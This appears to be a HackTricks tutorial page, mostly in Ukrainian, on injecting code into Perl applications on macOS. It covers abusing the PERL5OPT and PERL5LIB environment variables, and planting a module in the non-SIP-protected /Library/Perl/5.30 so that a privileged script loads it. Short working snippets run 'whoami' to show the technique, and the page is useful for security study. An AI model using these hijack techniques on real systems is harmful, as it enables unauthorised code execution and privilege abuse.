macOS Perl Applications Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

За допомогою змінних середовища PERL5OPT та PERL5LIB

Використовуючи змінну середовища PERL5OPT, можна змусити perl виконувати довільні команди. Наприклад, створіть цей скрипт:

test.pl

#!/usr/bin/perl
print "Hello from the Perl script!\n";

Тепер експортуйте змінну середовища та виконайте perl скрипт:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Інший варіант - створити модуль Perl (наприклад, /tmp/pmod.pm):

/tmp/pmod.pm

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

А потім використовуйте змінні середовища:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Через залежності

Можливо перерахувати порядок папок залежностей, які використовує Perl:

perl -e 'print join("\n", @INC)'

Що поверне щось на зразок:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Деякі з повернених папок навіть не існують, однак, /Library/Perl/5.30 дійсно існує, вона не захищена SIP і вона перед папками, захищеними SIP. Тому хтось може зловживати цією папкою, щоб додати залежності скриптів, щоб скрипт Perl з високими привілеями міг його завантажити.

Однак зверніть увагу, що вам потрібно бути root, щоб записати в цю папку і в наш час ви отримаєте цей TCC запит:

Наприклад, якщо скрипт імпортує use File::Basename;, буде можливим створити /Library/Perl/5.30/File/Basename.pm, щоб виконати довільний код.

References

• https://www.youtube.com/watch?v=zxZesAN-TEk

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.